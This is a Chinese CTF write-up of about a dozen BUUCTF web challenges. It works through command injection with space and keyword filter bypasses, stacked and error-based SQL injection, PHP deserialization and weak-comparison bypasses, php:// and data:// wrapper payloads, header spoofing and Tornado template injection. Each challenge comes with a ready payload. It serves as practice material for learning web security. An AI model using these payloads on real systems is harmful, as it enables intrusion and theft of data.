BUUCTF在线评测(web部分题)
[GXYCTF2019]Ping Ping Pingweb的命令注入这个页面后台可能执行ping -c 4 [你的输入]的系统命令首先先试试能不能拼接payload?ip127.0.0.1;ls一旦找到了 flag 文件的位置尝试读取它。注意如果是 .php 文件内容可能在源代码中页面上可能看不到输出需要右键点击“查看网页源代码”payload?ip127.0.0.1;cat flag.php直接探测看看能不能找到flag找不到就看看它过滤啥我试了空格过滤还有flag过滤都不行。第一步不是看到俩文件吗另一个文件index.php里面应该就是它的绕过规则看看能不能看这个文件内容拿到这个文件内容就可以编写payload了payload?ip127.0.0.1;ag;cat$IFS$9fla$a.php空格绕过 使用了 $IFS$9。符号绕过 没有使用被禁用的 *、( 等符号。关键字绕过 * Payload 里的字符顺序是i, p, 1, 2, 7..., a, , g, c, a, t, f, l, a。由于我们先定义了 ag字符 g 出现在了 f, l, a 之前。正则 .*f.*l.*a.*g.* 匹配不到这个顺序。[SUCTF 2019]EasySQL第一、先看是啥注入发现是数字注入后端代码可能是这个select $_POST[query] || flag from Flag;第二、payload11;set sql_modePIPES_AS_CONCAT;select 11.默认模式 它表示 “逻辑或” (OR)。1 || flag 的结果是 1。PIPES_AS_CONCAT 模式 它表示 “字符串连接” (CONCAT)。1 || flag 的结果是 1 flag内容。2. 这个 Payload 由三部分组成通过 堆叠注入 依次执行第一步1;作用 闭合掉后端原本查询语句的第一部分。现状 虽然原本的查询被打断了但因为有了分号我们可以开始写第二条指令。第二步set sql_modePIPES_AS_CONCAT;原理 强制修改当前数据库连接的模式。告诉数据库“从现在开始如果你看到 ||别把它当成‘逻辑或’给我把它当成‘字符串拼接’。”第三步select 1作用 开启一个新的查询并利用后端的“强行拼接”。执行逻辑 后端代码会自动把这个 select 1 拼接成select 1 || flag from Flag;最终效果 因为刚才已经改了模式这条语句现在等同于select CONCAT(1, flag) from Flag;第二、payload*,1扩充列。既然我不知道 flag 叫什么我就用 * 把所有列全查出来。[极客大挑战 2019]LoveSQL首先先尝试万能密码admin or 11 #我以为秒了实则不然md5啥都解密不出来直接提交或者加个flag{}还不行然后先查库名admin and updatexml(1,concat(0x7e,database(),0x7e),1)#此时已经触发报错注入再查表名1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1)#limit 1,1可以查下一个表名它就俩表第一个表里面只有管理员admin的账号密码而第二个表里面有flag再查列名1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_namel0ve1ysq1 limit 0,1),0x7e),1)#就只有三列id、username、password再查列里面的内容1 and updatexml(1,concat(0x7e,(select password from l0ve1ysq1 limit 0,1),0x7e),1)#开始查了password前几个和username前几个都没找到flagid前几个都是数字我以为这个表里面没有呢就去查第一个表发现更没有然后又回来查这个表我先查这个表一共有多少行1 and updatexml(1,concat(0x7e,(select count(*) from l0ve1ysq1),0x7e),1)#发现有16行直接查password最后一行的数据终于拿到flag了但是发现不全1 and updatexml(1,concat(0x7e,(select mid(password,32,30) from l0ve1ysq1 limit 15,1),0x7e),1)#mid(password, 32, 30)意思是“从 password 字段的第32个字符开始向后读取30个字符”。拼接一下得到最终flag[极客大挑战 2019]Secret File这种题我先看我的插件发现有个./Archive_room.php路径当然源代码里也有进入页面之后发现可以点击进入这个红色的按钮这个红色按钮是个带重定向的超链接直接带我去end.php页面但是中间有个action.php的页面先使用 PHP 伪协议读取源码payload/action.php?filephp://filter/readconvert.base64-encode/resourceflag.php发现还是看不到然后我决定要用bp抓包发现这个页面把第一步尝试的action.php换成secr3t.php然后得到一长串的base64编码解码得到flag[极客大挑战 2019]Http首先从源代码中发现Secret.php文件点击跳转到这个页面这句话说的意思是请求来源不对所以要伪造 Refererhacker和Burp Suite都可以去修改我用的是hacker这句话是请使用Syclover这个浏览器服务器通过检查 User-Agent 请求头来判断你使用的是什么浏览器。你需要把它改成题目要求的值。这句话说你只能在本地读它伪造本地 IP通过修改X-Forwarded-For127.0.0.1最后拿到flag[极客大挑战 2019]Knife直接用蚁剑连接随便翻翻就拿到flag了[极客大挑战 2019]PHP只要提到备份就和源码泄露有关系程序员在备份时经常会直接在文件名后面加后缀或者生成压缩包。你可以尝试在 URL 后面拼接以下路径常见的备份文件名index.php.bakindex.php.swpVim 异常退出产生的交换文件index.php~.index.php.swp常见的压缩包备份www.zip / www.tar.gz / www.rar / www.7zweb.zipcode.zipbackup.zip / bak.zip这道题是压缩包备份www.zip我以为直接就在flag.php里面呢实则不然?php include flag.php; error_reporting(0); class Name{ private $username nonono; private $password yesyes; public function __construct($username,$password){ $this-username $username; $this-password $password; } function __wakeup(){ $this-username guest; } function __destruct(){ if ($this-password ! 100) { echo /brNO!!!hacker!!!/br; echo You name is: ; echo $this-username;echo /br; echo You password is: ; echo $this-password;echo /br; die(); } if ($this-username admin) { global $flag; echo $flag; }else{ echo /brhello my friend~~/brsorry i cant give you the flag!; die(); } } } ?__wakeup() 绕过,即使你传入 admin反序列化时它也会强行把你变成 guest。绕过方法在 PHP5 5.6.25 或 PHP7 7.0.10 中如果序列化字符串中表示对象属性个数的数字大于真实的属性个数就会跳过 __wakeup() 的执行。私有属性的序列化格式,username 和 password 是 private 属性。格式要求私有属性序列化后键名会变成 \0Name\0username\0 是空字节。手动构造很麻烦建议用脚本生成。编写payload的脚本?php class Name{ private $username admin; private $password 100; } $a new Name(); $res serialize($a); // 1. 原始序列化结果 // O:4:Name:2:{s:14:Nameusername;s:5:admin;s:14:Namepassword;i:100;} // 注意上面的 Name 左右其实有不可见的 \0 字节 // 2. 绕过 __wakeup将对象属性个数 2 改为 3 (或者大于 2 的任何数) $res str_replace(:2:, :3:, $res); echo urlencode($res); ?如果没有本地环境可以使用在线php环境运行在线网址https://onlinephp.io/现在去找到代码中unserialize() 函数接收的参数名然后把这串 Payload 通过 URL 传给服务器在这个代码中发现是select最终payloadindex.php?selectO%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D[ACTF2020 新生赛]BackupFile这题还是源码泄露同上一题这个文里面件在index.php.bak?php include_once flag.php; if(isset($_GET[key])) { $key $_GET[key]; if(!is_numeric($key)) { exit(Just num!); } $key intval($key); $str 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3; if($key $str) { echo $flag; } } else { echo Try to find out source file!; }分析源代码发现是php弱类型比较漏洞点字符串转整数的规则在 PHP 中当一个 整数 和一个 字符串 使用 弱等于进行比较时PHP 会尝试将字符串转换为整数然后再进行比较。转换规则PHP 会从字符串的开头开始找数字直到遇到第一个非数字字符为止。payload?key123[极客大挑战 2019]BuyFlag右上角发现payflag点进去得到一个页面全是英文我根本看不懂直接查看源代码它的目的是让你输入一个既不是数字但在逻辑判断中又等于 404的字符串。还是php弱类型比较要传俩个参数第一个money第二个password俩个都是post传参还有就是Only Cuits students can buy the FLAG要把cooking里user的值改为1我用hackbar一直失败我一直以为参数问题后面去找其他师傅的wp才发现要先用hackbar把前端框架搭好BurpSuite 在后端把数据发准。在浏览器控制台修改 Cookie 后有时候浏览器并不会立即在你点击 HackBar 的瞬间把新 Cookie 塞进包里。这个就是我一直拿不到flag的原因给我急哭了以后做题如果“没反应”第一时间看 BurpSuite 里的Response响应。有时候 Flag 已经发回来了只是浏览器没渲染出来但在 Burp 的Raw视图里它是藏不住的[BJDCTF2020]Easy MD5看源码在网络中看到Hintselect * from admin where passwordmd5($pass,true)然后md5绕过输入ffifdyop再提交就可以到另一个页面我用的是ffifdybz我在想为啥一直失败呢我还用bp抓包也不行后面找了篇wp才成功流量特征拦截你之前抓包看到的那些 1.1.1.3 干扰代码说明你的网络环境如校园网或运营商有 WAF 或流量审查。ffifdybz 是一个非常经典的攻击特征码可能已经被列入了防火墙的“黑名单”。黑名单绕过ffifdyop 虽然效果一样但因为它的字符序列不同恰好躲过了拦截逻辑的扫描。看源码得到它通过 GET 方式接收两个参数 a 和 b变量 $a 不等于 $b但是它们的 MD5 值必须“相等”。注意这里使用的是 弱等于这就是突破口。数组绕过直接在URL后面拼接?a[]1b[]2md5(Array) - NULL。由于 NULL NULL 成立逻辑直接绕过。虽然比较符从 变成了 但 md5() 函数无法处理数组的特性依然存在。原理md5(Array) 在 PHP 中会返回 NULNULL NULL 结果为真。浏览器插件 HackBar 发送一个 POST 请求Body: param1[]1param2[]2[护网杯 2018]easy_tornado为了去读取 /fllllllllllllag因此你需要构造一个合法的 filehash。根据公式filehash md5(cookie_secret md5(/fllllllllllllag))这个规则在hints.txt里面第一步、用在线md5网站先把这个文件的md5求出来第二步、去找到cookie_secret这个值在 Tornado 框架中handler.settings 对象存储了当前应用的配置。访问/error?msg{{handler.settings}}第三步求filehash这个不能用在线网站求解用py脚本expimport hashlib def get_md5(data): return hashlib.md5(data.encode()).hexdigest() # 替换成你页面上获取的真实 cookie_secret cookie_secret 3eeb9fdd-3149-4e70-9b44-5b36e5c3c26a # 第一步计算 filename 的 md5 filename_md5 3bf9f6cf685a6dd8defadabfb41a03a1 # 第二步拼接并计算最终 hash # 注意中间没有加号就是直接连起来 final_hash get_md5(cookie_secret filename_md5) print(f最终的 filehash 是: {final_hash})payload/file?filename/fllllllllllllagfilehash734d97b41fbeb0419928f151760dc7d3[MRCTF2020]Ez_bypassCTRLU查看源代码首先是if (md5($id) md5($gg) $id ! $gg)这里使用了 强等于意味着不仅值要相等类型也要相等。普通的“0e”开头的哈希绕过弱等于在这里没用。绕过方法数组绕过PHP 的 md5() 函数无法处理数组如果传入一个数组函数会返回 NULL 并触发一个警告。md5([a]) 的结果是 NULLmd5([b]) 的结果也是 NULL因为 NULL NULL 成立且 [a] ! [b] 成立逻辑被成功绕过。GET 参数构造?id[]1gg[]2其次是绕过 is_numeric 与 的矛盾if (!is_numeric($passwd)) { // 不能是数字或数字字符串 if ($passwd 1234567) { // 但值又要等于 1234567 // 成功拿到 flag } }这是一个典型的 PHP 弱类型比较 问题。绕过方法数字字母当 PHP 使用 比较一个数字和一个字符串时它会将字符串转换为数字。转换规则是从字符串开头开始找直到遇到非数字字符为止。如果我们输入 1234567ais_numeric(1234567a) 返回 false因为它包含字母 a满足第一个条件。1234567a 1234567 比较时PHP 将 1234567a 转换为整数 1234567满足第二个条件。POST 参数构造passwd1234567a或者在后面加空格、%00 等非数字字符直接用hackbar[ZJCTF 2019]NiZhuanSiWei第一步绕过 file_get_contents代码逻辑if(isset($text) (file_get_contents($text,r)welcome to the zjctf))这里要求变量 $text 指向的文件内容必须等于指定的字符串。因为我们通常无法在服务器上直接创建一个文件所以需要使用 PHP 伪协议payload?textdata://text/plain,welcome to the zjctf第二步读取隐藏的源码 (useless.php)由于代码中直接 include($file)如果 useless.php 只是一个定义类的脚本它不会在页面上显示任何内容。你需要通过 Base64 编码 的方式把它“读”出来在上个url下加上这个payloadfilephp://filter/readconvert.base64-encode/resourceuseless.php第三步当你拿到 useless.php 的 Base64 源码并解码后你会看到一个 PHP 类用在线网站和随波逐流都解不出来只能用容错极强自动忽略空白自动补 padding支持 Raw Binary不乱改字符集不会过滤 PHP 标签支持流水线处理的CyberChef了CyberChef 本质上不是“简单解码网站”而是专业数据流处理工具第四步生成序列化字符串?php class Flag { // 使用 filter 协议将 flag.php 的内容转为 base64防止被浏览器解析或被过滤 public $file php://filter/readconvert.base64-encode/resourceflag.php; } $obj new Flag(); echo serialize($obj); ?完整的payload?textdata://text/plain,welcome to the zjctffileuseless.phppasswordO:4:Flag:1:{s:4:file;s:57:php://filter/readconvert.base64-encode/resourceflag.php;}最后拿到flag